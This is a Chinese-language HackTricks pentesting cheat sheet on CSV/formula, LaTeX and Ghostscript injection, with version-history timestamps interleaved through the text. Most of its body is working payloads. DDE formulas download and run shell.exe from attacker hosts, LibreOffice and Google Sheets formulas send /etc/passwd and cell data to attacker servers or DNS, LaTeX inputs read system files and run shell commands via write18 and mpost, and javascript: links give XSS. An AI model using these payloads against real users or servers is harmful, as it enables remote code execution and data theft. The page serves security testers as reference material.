2024-07-19 15:59:20 +00:00
# Formula/CSV/Doc/LaTeX/GhostScript Injection
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
{% hint style="success" %}
学习与实践 AWS 黑客技术:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习与实践 GCP 黑客技术:< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks 培训 GCP 红队专家 (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
< details >
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
< summary > 支持 HackTricks< / summary >
2023-12-31 04:43:12 +00:00
2024-07-19 15:59:20 +00:00
* 查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )!
2024-09-04 13:29:40 +00:00
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram 群组** ](https://t.me/peass ) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub 仓库提交 PR 来分享黑客技巧。
2023-10-27 15:55:59 +00:00
< / details >
2024-07-19 15:59:20 +00:00
{% endhint %}
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
## Formula Injection
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
### Info
2023-10-27 15:55:59 +00:00
2024-09-04 13:29:40 +00:00
如果你的 **输入** 在 **CSV 文件** (或任何其他可能会被 **Excel** 打开的文件)中被 **反射** ,你可能能够放入 Excel **公式** ,这些公式将在用户 **打开文件** 或用户 **点击 Excel 表格中的某些链接** 时被 **执行** 。
2023-10-27 15:55:59 +00:00
{% hint style="danger" %}
2024-07-19 15:59:20 +00:00
如今 **Excel 会警告** (多次) **用户当从 Excel 之外加载某些内容** ,以防止他进行恶意操作。因此,必须在最终有效载荷上特别努力进行社会工程。
2023-10-27 15:55:59 +00:00
{% endhint %}
2024-07-19 15:59:20 +00:00
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
2023-10-27 15:55:59 +00:00
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM (1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### 超链接
2024-07-19 15:59:20 +00:00
**以下示例非常有用,可以从最终的 Excel 表中提取内容并向任意位置发出请求。但这需要用户点击链接(并接受警告提示)。**
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
以下示例取自 [https://payatu.com/csv-injection-basic-to-exploit ](https://payatu.com/csv-injection-basic-to-exploit )
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
想象一下,学生记录管理系统中的安全漏洞通过 CSV 注入攻击被利用。攻击者的主要意图是破坏教师用于管理学生详细信息的系统。该方法涉及攻击者将恶意有效载荷注入应用程序,具体通过在用于学生详细信息的字段中输入有害公式。攻击过程如下:
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
1. **注入恶意有效载荷:**
* 攻击者提交学生详细信息表单,但包含一个在电子表格中常用的公式(例如,`=HYPERLINK("< malicious_link > ","Click here")`)。
* 该公式旨在创建一个超链接,但指向攻击者控制的恶意服务器。
2. **导出被破坏的数据:**
* 教师在不知情的情况下,使用应用程序的功能将数据导出为 CSV 文件。
* 当打开 CSV 文件时,仍然包含恶意有效载荷。该有效载荷在电子表格中显示为可点击的超链接。
3. **触发攻击:**
* 一位教师点击超链接,认为这是学生详细信息的合法部分。
2024-09-04 13:29:40 +00:00
* 点击后,敏感数据(可能包括电子表格中的详细信息或教师计算机上的信息)被传输到攻击者的服务器。
2024-07-19 15:59:20 +00:00
4. **记录数据:**
2024-03-09 13:16:16 +00:00
* 攻击者的服务器接收并记录从教师计算机发送的敏感数据。
2024-07-19 15:59:20 +00:00
* 攻击者可以利用这些数据进行各种恶意目的,进一步危害学生和机构的隐私与安全。
2023-10-27 15:55:59 +00:00
### RCE
2024-03-09 13:16:16 +00:00
**查看** [**原始帖子** ](https://notsosecure.com/data-exfiltration-formula-injection-part1 ) **以获取更多详细信息。**
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
在特定配置或较旧版本的 Excel 中, 可以利用名为动态数据交换( DDE) 的功能来执行任意命令。要利用此功能, 必须启用以下设置:
2023-12-31 04:43:12 +00:00
2024-07-19 15:59:20 +00:00
* 导航到 文件 → 选项 → 信任中心 → 信任中心设置 → 外部内容,并启用 **动态数据交换服务器启动** 。
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
当打开带有恶意有效载荷的电子表格时(如果用户接受警告),有效载荷将被执行。例如,要启动计算器应用程序,有效载荷将是:
2024-02-06 04:10:34 +00:00
```markdown
2024-05-07 11:04:05 +00:00
=cmd|' /C calc'!xxx
2024-02-06 04:10:34 +00:00
```
2024-07-19 15:59:20 +00:00
额外的命令也可以被执行,例如使用 PowerShell 下载并执行一个文件:
2023-10-27 15:55:59 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
2024-07-19 15:59:20 +00:00
### Local File Inclusion (LFI) in LibreOffice Calc
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
LibreOffice Calc 可以用来读取本地文件并提取数据。以下是一些方法:
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
* 从本地 `/etc/passwd` 文件读取第一行: `='file:///etc/passwd'#$passwd.A1`
* 将读取的数据提取到攻击者控制的服务器: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* 提取多于一行: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS 提取(将读取的数据作为 DNS 查询发送到攻击者控制的 DNS 服务器): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
Google Sheets 提供可以被利用进行 OOB 数据提取的函数:
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
* **CONCATENATE**: 将字符串连接在一起 - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: 从结构化数据类型导入数据 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: 导入 RSS 或 ATOM 源 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: 从 HTML 表格或列表导入数据 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: 从另一个电子表格导入一系列单元格 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: 将图像插入单元格 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
## LaTeX Injection
2024-03-24 12:24:51 +00:00
2024-07-19 15:59:20 +00:00
通常,互联网上会找到将 **LaTeX 代码转换为 PDF** 的服务器使用 ** `pdflatex` **。\
2024-05-07 11:04:05 +00:00
该程序使用 3 个主要属性来(不)允许命令执行:
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
* **`--no-shell-escape`**: **禁用** `\write18{command}` 结构,即使在 texmf.cnf 文件中启用。
2024-09-04 13:29:40 +00:00
* **`--shell-restricted`**: 与 `--shell-escape` 相同,但 **限制** 为一组“安全”的 **预定义** \*\*命令(在 Ubuntu 16.04 中,列表在 `/usr/share/texmf/web2c/texmf.cnf` 中)。
2024-07-19 15:59:20 +00:00
* **`--shell-escape`**: **启用** `\write18{command}` 结构。该命令可以是任何 shell 命令。出于安全原因,通常不允许此结构。
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
然而,还有其他方法可以执行命令,因此为了避免 RCE, 使用 `--shell-restricted` 是非常重要的。
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
### Read file <a href="#read-file" id="read-file"></a>
2023-10-27 15:55:59 +00:00
2024-09-04 13:29:40 +00:00
您可能需要使用 \[ 或 $ 来调整注入。
2023-10-27 15:55:59 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### 读取单行文件
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### 读取多行文件
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
2024-02-05 02:56:36 +00:00
### 写入文件 <a href="#write-file" id="write-file"></a>
2023-10-27 15:55:59 +00:00
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
2024-07-19 15:59:20 +00:00
### Command execution <a href="#command-execution" id="command-execution"></a>
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
命令的输入将被重定向到 stdin, 使用临时文件来获取它。
2023-10-27 15:55:59 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
2024-07-19 15:59:20 +00:00
如果您遇到任何LaTex错误, 请考虑使用base64来获取没有坏字符的结果。
2023-10-27 15:55:59 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### 跨站脚本攻击 <a href="#cross-site-scripting" id="cross-site-scripting"></a>
2024-07-19 15:59:20 +00:00
来自 [@EdOverflow ](https://twitter.com/intigriti/status/1101509684614320130 )
2023-10-27 15:55:59 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
2024-07-19 15:59:20 +00:00
## Ghostscript Injection
2023-10-27 15:55:59 +00:00
2024-03-09 13:16:16 +00:00
**检查** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/** ](https://blog.redteam-pentesting.de/2023/ghostscript-overview/ )
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
## 参考文献
2023-10-27 15:55:59 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1 ](https://notsosecure.com/data-exfiltration-formula-injection-part1 )
* [https://0day.work/hacking-with-latex/ ](https://0day.work/hacking-with-latex/ )
* [https://salmonsec.com/cheatsheet/latex\_injection ](https://salmonsec.com/cheatsheet/latex\_injection )
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/ ](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/ )
2024-03-14 22:41:16 +00:00
2024-07-19 15:59:20 +00:00
{% hint style="success" %}
2024-09-04 13:29:40 +00:00
学习与实践 AWS 黑客技术:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习与实践 GCP 黑客技术:< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks 培训 GCP 红队专家 (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
< details >
2023-12-31 04:43:12 +00:00
2024-07-19 15:59:20 +00:00
< summary > 支持 HackTricks< / summary >
2023-10-27 15:55:59 +00:00
2024-07-19 15:59:20 +00:00
* 查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )!
2024-09-04 13:29:40 +00:00
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram 群组** ](https://t.me/peass ) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 仓库提交 PR 来分享黑客技巧。
2023-10-27 15:55:59 +00:00
< / details >
2024-07-19 15:59:20 +00:00
{% endhint %}